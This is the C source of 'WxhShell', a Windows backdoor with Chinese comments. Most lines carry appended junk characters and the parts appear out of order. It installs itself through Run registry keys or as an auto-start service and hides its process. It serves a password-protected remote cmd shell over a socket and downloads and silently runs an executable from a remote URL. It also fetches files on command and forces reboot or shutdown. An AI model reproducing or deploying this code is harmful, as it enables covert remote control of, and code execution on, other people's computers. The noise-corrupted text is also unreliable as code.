    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6_`9 4+  
    else { QDO.&G2  
    closesocket(wsh); d\% |!ix  
    ExitThread(0); <Co\?h/<  
    } )$[.XKoT  
    break; [I*zZ`  
    } ifyWhS++  
  // 获取shell HE>6A|rgDr  
  case 's': { X=QaTV  
    CmdShell(wsh); aj>6q=R  
    closesocket(wsh); d|T87K>|r"  
    ExitThread(0); -:mT8'.F-  
    break; 'Em5AA`>  
  } >)E{Hs  
  // 退出 Npq_1L  
  case 'x': { Aj9<4N  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); KxZup\\:v  
    CloseIt(wsh); hzG+s#  
    break; h B@M5Mc$  
    } ;Mzy>*#$Q  
  // 离开 tGq0f"}'J  
  case 'q': { W!@*3U]2R  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3zdm-5R.b  
    closesocket(wsh); :Kc9k(3&r  
    WSACleanup(); 8R G U^&  
    exit(1); HB+{vuN*L  
    break; 0O,Q]P 82f  
        } IIrp-EMXJ  
  } $CT 2E  
  } [nL{n bli  
u">KE6um  
  // 提示信息 fa~4+jx>S  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U]!~C 1cmw  
} ,E YB E  
  } FVi7gg.?  
puE!7 :X7  
  return; )#|I(Gz ^  
} t|/{oAj  
d~ m,hCTe  
// shell模块句柄 (c^ZFh2]  
int CmdShell(SOCKET sock) h!>K[*  
{ %3ieR}:/e&  
STARTUPINFO si; s48 { R4  
ZeroMemory(&si,sizeof(si)); tQTVP2:Y  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Gp&o  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; mpcO-%a  
PROCESS_INFORMATION ProcessInfo; 6 07"Z\  
char cmdline[]="cmd"; 0+H4sz%.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1?!z<<  
  return 0; gHL v zm  
} o \r6 iO  
MlbQLtw  
// 自身启动模式 @fjVCc;  
int StartFromService(void) 'aLTiF+  
{ [PRQa[_  
typedef struct qKL :#ny  
{ bUcq LV  
  DWORD ExitStatus; 3W <_J_[  
  DWORD PebBaseAddress; -UTTJnu^  
  DWORD AffinityMask; h_xHQf&#  
  DWORD BasePriority; xna4W|-  
  ULONG UniqueProcessId; 6qAs$[  
  ULONG InheritedFromUniqueProcessId; Ms * `w5n  
}   PROCESS_BASIC_INFORMATION; !:zWhu,  
i'6>_,\(  
PROCNTQSIP NtQueryInformationProcess; 9/LnO'&-  
-FxE!K  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !Z0p94L  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; iS/faXe5  
f_{O U E  
  HANDLE             hProcess; vC j, aSW  
  PROCESS_BASIC_INFORMATION pbi; &@dMIJK"(  
-~PiPYX  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "}91wfG9  
  if(NULL == hInst ) return 0; 8Qwn  
#YEOY#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); uaiCyh1:  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); x JXPtm  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .66_g@1  
dc]D 8KX  
  if (!NtQueryInformationProcess) return 0; ,p3moD 3  
cz{5-;$9Z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); TmH'_t.*T~  
  if(!hProcess) return 0; y,YK Mc  
|_ChK6Q?v  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =~|:93]k  
8M5a&35J"  
  CloseHandle(hProcess); ,.Sd)JB'  
:\Pk>a  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8D)I~0\  
if(hProcess==NULL) return 0; 1kDr;.m%  
v c r5  
HMODULE hMod; /a'cP  
char procName[255]; I7[F,xci  
unsigned long cbNeeded; JsDugn ,B  
<"}Gvi  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Iz^lED  
&a/F"?9jL  
  CloseHandle(hProcess); 9hNHcl.  
D on8xk  
if(strstr(procName,"services")) return 1; // 以服务启动 >sfH[b  
O)Wc\-  
  return 0; // 注册表启动 df'xx)kW  
} >}?4;:.=  
M@wQ6ow  
// 主模块 "i5Rh^  
int StartWxhshell(LPSTR lpCmdLine) )|Il@unp/  
{ 8Ev,9  
  SOCKET wsl; [Y%H8}  
BOOL val=TRUE; @a[Y[F S  
  int port=0; .5ItH^  
  struct sockaddr_in door; s{30#^1R  
S1`;2mAf*  
  if(wscfg.ws_autoins) Install(); 2)W~7GED  
*!W<yNrR  
port=atoi(lpCmdLine); Z'@a@Y+  
'IykIf  
if(port<=0) port=wscfg.ws_port; q| EE em  
'9w.~@7  
  WSADATA data; kr=&x)Wy!  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4!3mSWNV  
|IgH0 zZ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~?BN4ptc  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); yn;sd+:z  
  door.sin_family = AF_INET; DjK  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); u#>*"4Q  
  door.sin_port = htons(port); 5Vj t!%?r  
fN h0?/3)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _$f XK  
closesocket(wsl); O! t> @%)  
return 1; =ghN)[AZV  
} *pOdM0AE  
.=u8`,sO  
  if(listen(wsl,2) == INVALID_SOCKET) { sC^9  
closesocket(wsl); jQ 'r};;  
return 1; >U2[]fu  
} :VB{@ED  
  Wxhshell(wsl); tt%lDr1A)  
  WSACleanup(); a2vZ'  
U> @st="  
return 0; XXe?@w2{  
)q>mt/,  
} [og_0;  
SZ*Nr=X  
// 以NT服务方式启动 VD).UdUn  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !-OPzfHrI  
{ = ;!$Qw4  
DWORD   status = 0; <)J83D0$E  
  DWORD   specificError = 0xfffffff; "'8^OZR  
>3J?O96|f  
  serviceStatus.dwServiceType     = SERVICE_WIN32; th 9I]g^=t  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; k>ERU]7[  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .dM|J'`g  
  serviceStatus.dwWin32ExitCode     = 0; !}[,ODJ4 d  
  serviceStatus.dwServiceSpecificExitCode = 0; ,o\-'   
  serviceStatus.dwCheckPoint       = 0; G5R"5d'  
  serviceStatus.dwWaitHint       = 0; s>VpbJ3S  
gFx2\QV  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); '%} k"&t$i  
  if (hServiceStatusHandle==0) return; 9|}u"jJB%E  
O6gl[aZN  
status = GetLastError(); "G+g(?N]j  
  if (status!=NO_ERROR) , '_y@9?I  
{ X`n)]~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; qMj'%5/  
    serviceStatus.dwCheckPoint       = 0; $XOs(>~"r  
    serviceStatus.dwWaitHint       = 0; y7?n;3U]CS  
    serviceStatus.dwWin32ExitCode     = status; ioZ{2kK  
    serviceStatus.dwServiceSpecificExitCode = specificError; YKk*QcAn  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); VPAi[<FzOG  
    return; z3\WcW7|  
  } <x^Ab#K"  
, Ac gsC  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; )nI}KQJ<  
  serviceStatus.dwCheckPoint       = 0; W>*9T?  
  serviceStatus.dwWaitHint       = 0; YH 5jvvOI  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); cKbjW  
} X/8CvY#n  
Bj-80d,  
// 处理NT服务事件,比如:启动、停止 lO=Nw+'$S  
VOID WINAPI NTServiceHandler(DWORD fdwControl) `ecIy_O3P&  
{ 2D"n#O`y  
switch(fdwControl) )e1&[0  
{ \@3B%RW0  
case SERVICE_CONTROL_STOP: ,y'E#_cTgQ  
  serviceStatus.dwWin32ExitCode = 0; "G&S`8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; wTu_Am  
  serviceStatus.dwCheckPoint   = 0; ?aMV{H*Q*  
  serviceStatus.dwWaitHint     = 0; hS?pc<~`#  
  { PU"C('AP  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bGO[P<<  
  } &m8#^]*  
  return; Tgf#I*(^]  
case SERVICE_CONTROL_PAUSE:  dkr[B' n  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 8H%-/2NW  
  break; 6w )mo)<X  
case SERVICE_CONTROL_CONTINUE: {Y\W&Edw%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; H2plT  
  break; d;<gwCc  
case SERVICE_CONTROL_INTERROGATE: l[_ y|W5  
  break; a&?SRC'x  
}; vzr?#FG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Vg>\@ C .s  
} #%=6DHsK  
&"h 9Awn2  
// 标准应用程序主函数 ,k,RXgQ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) e?V7<7$  
{ TVVr<r  
323zR*\m  
// 获取操作系统版本 ,bLHkBK  
OsIsNt=GetOsVer(); P Tc@MH)  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6ojEEM  
'pa>;{  
  // 从命令行安装 ;VL v2J*  
  if(strpbrk(lpCmdLine,"iI")) Install(); 0# )I :5  
kzK4i!}  
  // 下载执行文件 Dm")\"5\?  
if(wscfg.ws_downexe) { us_o{  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5Dhpcgq<<  
  WinExec(wscfg.ws_filenam,SW_HIDE); j.b7<Vr4;  
} v}Gpw6   
#JOWiO0>  
if(!OsIsNt) { 5q.d$K |  
// 如果时win9x,隐藏进程并且设置为注册表启动 P?zPb'UVqa  
HideProc(); &V$qIvN$  
StartWxhshell(lpCmdLine); Ny\c>$z  
} cEP!DUo  
else 'R{Xq HP  
  if(StartFromService()) RSK~<Y@]q{  
  // 以服务方式启动 5Oa`1?C1  
  StartServiceCtrlDispatcher(DispatchTable); M<AjtDF%  
else WRq:xDRn0  
  // 普通方式启动 iEA$`LhO\A  
  StartWxhshell(lpCmdLine); ae&i]K;  
$s*nh>@7  
return 0; $,/;QP}  
} QM"\;l??  
/uh?F  
/|kR= ~  
\A{ [2  
=========================================== 6;O fh   
,t2yw  
&gDwsW  
Ew&pwsQ  
X\z `S##kj  
AM[#AZv  
" MR) *Xh  
?$ft3p}  
#include <stdio.h> \~LwlOo%R  
#include <string.h> ??'>kQ4  
#include <windows.h> hPb erc2  
#include <winsock2.h> q{fgsc8v\  
#include <winsvc.h> 0TDc Q  
#include <urlmon.h> 'aWrjfDy:  
9*thqs3J#d  
#pragma comment (lib, "Ws2_32.lib") g!#M0  
#pragma comment (lib, "urlmon.lib") 4*)a3jI?  
^ B>BA  
#define MAX_USER   100 // 最大客户端连接数 4TP AD)C  
#define BUF_SOCK   200 // sock buffer d){o#@  
#define KEY_BUFF   255 // 输入 buffer YqJ `eLu  
E8Rk b}  
#define REBOOT     0   // 重启 c}QWa"\2n  
#define SHUTDOWN   1   // 关机 ^`HP&V  
2"'<Yk9  
#define DEF_PORT   5000 // 监听端口 E1=WH-iA0  
xw>\6VNt  
#define REG_LEN     16   // 注册表键长度 oHW:s96e  
#define SVC_LEN     80   // NT服务名长度 FLb Q#c\  
1TOT}h5  
// 从dll定义API ! H^,p$`[i  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 5t,W'a_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +1te8P*  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Q^B !^_M  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); jMpV c E#  
D~(f7~c%  
// wxhshell配置信息 -msfiO  
struct WSCFG { ']x`d  
  int ws_port;         // 监听端口 &F8N$H  
  char ws_passstr[REG_LEN]; // 口令 bh[`uRC}  
  int ws_autoins;       // 安装标记, 1=yes 0=no bzl-|+!yB  
  char ws_regname[REG_LEN]; // 注册表键名 z;V Ai=m q  
  char ws_svcname[REG_LEN]; // 服务名 <{z*6FM!'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 AjW5H*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 y<h~jz#hkq  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 hHu?%f*  
int ws_downexe;       // 下载执行标记, 1=yes 0=no }#b[@3/T  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^#V7\;v$G  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 JKXb$  
mh4<.6>5  
}; 8iB}gHe9  
N084k}io  
// default Wxhshell configuration Xf"B\%,(`  
struct WSCFG wscfg={DEF_PORT, THOXs; k0  
    "xuhuanlingzhe", ^L,Uz:[J  
    1, 0m,3''Q5lO  
    "Wxhshell", RRasX;zK  
    "Wxhshell", mPmg6Qj(W  
            "WxhShell Service", $GMva}@G`  
    "Wrsky Windows CmdShell Service", (59u<F  
    "Please Input Your Password: ", u>K(m))5W3  
  1, Im<i.a <`  
  "http://www.wrsky.com/wxhshell.exe", RqONVytx  
  "Wxhshell.exe" ?k}"g$JFn  
    }; 8Hf:yG,  
.$rt>u,8<  
// 消息定义模块 \i2S'AblYq  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =!~6RwwwY  
char *msg_ws_prompt="\n\r? for help\n\r#>"; odm!}stus  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; c9 &LK J6  
char *msg_ws_ext="\n\rExit."; b: c$EPK  
char *msg_ws_end="\n\rQuit."; _wY <8 F*  
char *msg_ws_boot="\n\rReboot..."; >k)zd-  
char *msg_ws_poff="\n\rShutdown..."; fx"~WeVcO  
char *msg_ws_down="\n\rSave to "; *!wBn  
;7HL/-  
char *msg_ws_err="\n\rErr!"; C<T)'^7z  
char *msg_ws_ok="\n\rOK!"; w.:fl4V  
=Qf.  
char ExeFile[MAX_PATH]; RyN}Gz/YN  
int nUser = 0; FUD M]:XQ  
HANDLE handles[MAX_USER]; vhEXtjL  
int OsIsNt; d4r@Gx%BE  
nXg:lCI-uu  
SERVICE_STATUS       serviceStatus; Mq#sSBE<K  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; x+%(z8wD  
l)d(N7HME  
// 函数声明 4(hHp6}b  
int Install(void); ,lUroO^^  
int Uninstall(void); =8p *Ijs  
int DownloadFile(char *sURL, SOCKET wsh); 1Fs:&*=  
int Boot(int flag); hE9UWa.Q>  
void HideProc(void); QrX 5Kwq  
int GetOsVer(void); *=KX0%3  
int Wxhshell(SOCKET wsl); G|LJOq7QB  
void TalkWithClient(void *cs); hk7kg/"  
int CmdShell(SOCKET sock); s4&JBm(33N  
int StartFromService(void); U.kTdNSp  
int StartWxhshell(LPSTR lpCmdLine); gE}+`w/X  
`nvm>u~[Hq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &y~~Z [.F,  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &l<~Xd#  
L+]|-L`S  
// 数据结构和表定义 9P)28\4  
SERVICE_TABLE_ENTRY DispatchTable[] = W,53|9b@  
{ Wb;x eG  
{wscfg.ws_svcname, NTServiceMain}, < 9 vS  
{NULL, NULL} u~-,kF@  
}; c[6=&  
Rr!oT?6J?  
// 自我安装 DEFh&n  
int Install(void) f-'$tMs  
{ op|:XLR5  
  char svExeFile[MAX_PATH]; 03$lgDQ  
  HKEY key; `Cv@16  
  strcpy(svExeFile,ExeFile); "(QI7:iM  
tnn,lWu|  
// 如果是win9x系统,修改注册表设为自启动 zNo(|;19  
if(!OsIsNt) { 'y? HF@NJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KsG>,# Q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); sZ7RiH +I  
  RegCloseKey(key); /BaXWrd+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {<k}U;uiO  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p&O-]o8  
  RegCloseKey(key); [? 1m6u;  
  return 0; YZHqy++x  
    } /yd<+on^  
  } XVRtfo  
} V1 :aR3*!  
else { 1f/8XxTB  
KD*q|?Z  
// 如果是NT以上系统,安装为系统服务 F,NS:mE  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); q_gsYb  
if (schSCManager!=0) ,<cF<9h  
{ &# w~S~  
  SC_HANDLE schService = CreateService '-?t^@  
  ( q@6Je(H  
  schSCManager, yrgb6)]nm@  
  wscfg.ws_svcname, HEMq4v4  
  wscfg.ws_svcdisp, .15^c+j  
  SERVICE_ALL_ACCESS, QN'v]z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ZBf9Upg  
  SERVICE_AUTO_START, *9?T?S|^$F  
  SERVICE_ERROR_NORMAL, (F.vVldBy  
  svExeFile, ja Ot"iU.B  
  NULL, $(PWN6{\r^  
  NULL, zB@@Gs>  
  NULL, OpT0V]k^"9  
  NULL, XY*KWO  
  NULL V!3.MQM  
  ); =#Qm D=  
  if (schService!=0) a#NP69  
  { ]di9dLT  
  CloseServiceHandle(schService); >RL|W}tI4  
  CloseServiceHandle(schSCManager); /U1 jCLR'  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Z9+xB"q2  
  strcat(svExeFile,wscfg.ws_svcname); w?db~"T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { UZ qQ|3  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); : ~R:[T2P  
  RegCloseKey(key); y9@DlK  
  return 0; ,x. 2kb  
    } 8g!C'5  
  } ]B'H(o R<|  
  CloseServiceHandle(schSCManager); yS2[V,vS7  
} SB<09|2  
} <e%~K4KH  
H5 'Le{  
return 1; ?\J.Tv $$$  
} Pqc +pE  
;[[GA0  
// 自我卸载 (9X>E+0E  
int Uninstall(void) `;OEdeAM  
{ _hy<11S;  
  HKEY key; O:>9yZhV  
x.:k0;%Q  
if(!OsIsNt) { R{hq1-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |!=KLJUA  
  RegDeleteValue(key,wscfg.ws_regname); Ov5 *&*P  
  RegCloseKey(key); -Z/'kYj?U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6d% |yl  
  RegDeleteValue(key,wscfg.ws_regname); ~5xs$ub  
  RegCloseKey(key); |x ~<Dc>0*  
  return 0; i( l'f#  
  } RgQ;fYS  
} ktMUTL(B  
} 4qc 0QA%  
else { 3"pl="[*  
TiF2c#Q*y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;&9A Yh.  
if (schSCManager!=0) *z{.9z`  
{ ~LKX2Q:S  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5csqu^/y  
  if (schService!=0) 6'^Gh B  
  { UVIR P#  
  if(DeleteService(schService)!=0) { +#/`4EnI  
  CloseServiceHandle(schService); O@gHx!L  
  CloseServiceHandle(schSCManager); \a|bx4M  
  return 0; O(Tdn;1  
  } e[ 8AdE  
  CloseServiceHandle(schService); +l,6}tV9  
  } ?g5u#Q> !  
  CloseServiceHandle(schSCManager); ONkHHyT  
} M\f1]L|8d  
} 4X prVB  
"++q. y  
return 1; ny,a5zEnF  
} ^:yg,cS|Be  
pOz4>R  
// 从指定url下载文件 *YI>Q@F9  
int DownloadFile(char *sURL, SOCKET wsh) 9u->.O: p  
{ <g^!xX<r?  
  HRESULT hr; Owa]ax5  
char seps[]= "/"; 3?"JFfYU,'  
char *token; NP {O  
char *file; >cEB ,@~  
char myURL[MAX_PATH]; D}| 30s?u1  
char myFILE[MAX_PATH]; Zk4(  
3V"y|q  
strcpy(myURL,sURL); o5 fXe}pl@  
  token=strtok(myURL,seps); ` iiZ  
  while(token!=NULL) t#p*{S 3u  
  { hjgxCSp  
    file=token; -'sn0 _q/e  
  token=strtok(NULL,seps); M]Y72K^  
  } 6}RRrYL7I  
8#S}.|"?F  
GetCurrentDirectory(MAX_PATH,myFILE); jC)lWD  
strcat(myFILE, "\\"); xTJ-v/t3<  
strcat(myFILE, file); \"r*wae  
  send(wsh,myFILE,strlen(myFILE),0); y+C.2 ca  
send(wsh,"...",3,0); ?xTh}Sky  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); g7|$JevR0  
  if(hr==S_OK) r:&"#F   
return 0; 77Fpb?0`  
else iSZiJ4AUq  
return 1; l/JE}Eg(  
zMXlLRC0  
} :IZ(9=hs  
?rD`'B  
// 系统电源模块 ^lP_{ c  
int Boot(int flag) ?QnVWu2K  
{ SnhB$DG  
  HANDLE hToken; kUdl2["MZ  
  TOKEN_PRIVILEGES tkp; A!K/92[#@  
5G\CT&cQR  
  if(OsIsNt) { (j%d{y4  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); wlh V!a0>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Tu'/XUs;k  
    tkp.PrivilegeCount = 1; XQ{G)  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; UI*^$7z1 +  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1Ugyjjlz  
if(flag==REBOOT) { ?`nF"u>  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) YGA( "<  
  return 0; 6G<t1?_yD  
} xF+a.gAIb  
else { ;Ly(O'9  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Ef1R?<  
  return 0; \xH#X=J  
} "\'g2|A  
  } ^Fl6-|^~  
  else { \qrSJ=}t  
if(flag==REBOOT) { R7L:U+*V"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) btfjmR<Tp  
  return 0; ohdWEU,  
} 86^xq#+Uw  
else { fC2   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \k=.w  
  return 0; &~u=vuX  
} [3s p  
} vu%:0p` K  
Uf`lGGM  
return 1; *|f&a  
} wXc"Car)  
ERW>G {+  
// win9x进程隐藏模块 93Yo }6>  
void HideProc(void) fwojFS.K  
{ [I;5V=bKW  
1GnT^u y/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &AMW?vO  
  if ( hKernel != NULL ) ZwLD7j*)  
  { 0.}Um  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Ufz& 2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); LiyEF&_u  
    FreeLibrary(hKernel); hSZ0 }/  
  } )V^J^1  
U8Pnt|0M  
return; H<M ggs-  
} +$#YW5wy  
 '8NKrI  
// 获取操作系统版本 1@nGD<,.  
int GetOsVer(void) %`%xD>![  
{ _jw A_  
  OSVERSIONINFO winfo; kF9T 9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,KlTitJl\+  
  GetVersionEx(&winfo); |5wuYG  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1Ftl1uf  
  return 1; wl{Fx+<^3  
  else U}xQUFT|  
  return 0; }57wE$9K  
} e!wS"[,  
E6SGK,f0D  
// 客户端句柄模块 J~5VL |ca  
int Wxhshell(SOCKET wsl) K_iy^|0)5]  
{ ! af35WF  
  SOCKET wsh; @15%fX`*o  
  struct sockaddr_in client; 3z[yKua\  
  DWORD myID; iQczvn)"m  
<qzHMy Ai  
  while(nUser<MAX_USER) 27-<q5q  
{  `x"0  
  int nSize=sizeof(client); `0rEV _$  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); J}7iXTh  
  if(wsh==INVALID_SOCKET) return 1; \o^M,yI  
eH2.,wY1  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %d+:0.+`n  
if(handles[nUser]==0) IB x?MU#.  
  closesocket(wsh); +igFIoHTM  
else td@F%*  
  nUser++; R>"E Xq  
  } " }@QL`  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); z.g'8#@  
:\Z;FA@g(g  
  return 0; jg?B][  
} Dg]ua5jk  
W"fdK_F\  
// 关闭 socket ?aInn:FE  
void CloseIt(SOCKET wsh) oJK]oVX9i  
{ 5=g{%X  
closesocket(wsh); G3P3  
nUser--; H#8]Lb@@:  
ExitThread(0); 4A%O`&eZ  
} ,jyNV<dI  
YMG{xGPtM  
// 客户端请求句柄 M:W9h+z  
void TalkWithClient(void *cs) t_ &FK A  
{ US+PI`  
@3bQ2jn   
  SOCKET wsh=(SOCKET)cs; ?lzg )88I  
  char pwd[SVC_LEN]; J<:qzwh  
  char cmd[KEY_BUFF]; *-bR~  
char chr[1]; [3s,U4a  
int i,j; M:c^ [9)y  
{A4"KX(U  
  while (nUser < MAX_USER) { A%n l@`s,  
#.0^;M5Nh  
if(wscfg.ws_passstr) { /<Cl\q2 A  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  tFvti5  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :8U=L'4  
  //ZeroMemory(pwd,KEY_BUFF); 0-EhDGa]r  
      i=0; 5AR\'||u  
  while(i<SVC_LEN) { 4J2NIFZ  
_;J7#j~}  
  // 设置超时 E.?|L-fy  
  fd_set FdRead; /4j'?hB<g  
  struct timeval TimeOut; jRK<FK  
  FD_ZERO(&FdRead); A'qJke=  
  FD_SET(wsh,&FdRead); bL+Hw6;  
  TimeOut.tv_sec=8; 4E:HO\  
  TimeOut.tv_usec=0; h\KQ{-Bl  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ]%(hZZ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :|oH11 y  
>`8r52  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s4lkhoN\t  
  pwd=chr[0]; \$s<G|<P  
  if(chr[0]==0xd || chr[0]==0xa) { Py6c=&*  
  pwd=0; Zi/l.=9n  
  break; 0@1AH<  
  } q@P5c  
  i++; wo84V!"A  
    } bT>% *  
o"t+G/M  
  // 如果是非法用户,关闭 socket -MoI{3a  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); RX:\@c&  
} a3 wUB  
gOa'o<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); PdJtJqA8h\  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }:YS$'by  
4~4PZ  
while(1) { Os9xZ  
i NzoDmE*  
  ZeroMemory(cmd,KEY_BUFF); DM{ 7x77  
AV AF!Z  
      // 自动支持客户端 telnet标准   q~.\NKc  
  j=0; Q4-d2I>0  
  while(j<KEY_BUFF) { qHg\n)R"x!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T30!'F(*,  
  cmd[j]=chr[0]; g^"",!J/  
  if(chr[0]==0xa || chr[0]==0xd) { mgX0@#wFn  
  cmd[j]=0; /<s'@!W  
  break; z?_c:]D  
  } (L8H.|.  
  j++; W'rft@J$  
    } wH~Q4)#=o  
]q7\  
  // 下载文件 or\ 2)  
  if(strstr(cmd,"http://")) { $I~=t{;"XV  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Lp20{R  
  if(DownloadFile(cmd,wsh)) ~R7rIP8Wr  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Lie\3W  
  else <WtX> \]l(  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;%odN d  
  } m C_v!nL.  
  else { tTe\#o`  
&CF74AN#  
    switch(cmd[0]) { cysYjuI i  
  F4>}mIA  
  // 帮助 ItHKpTe r  
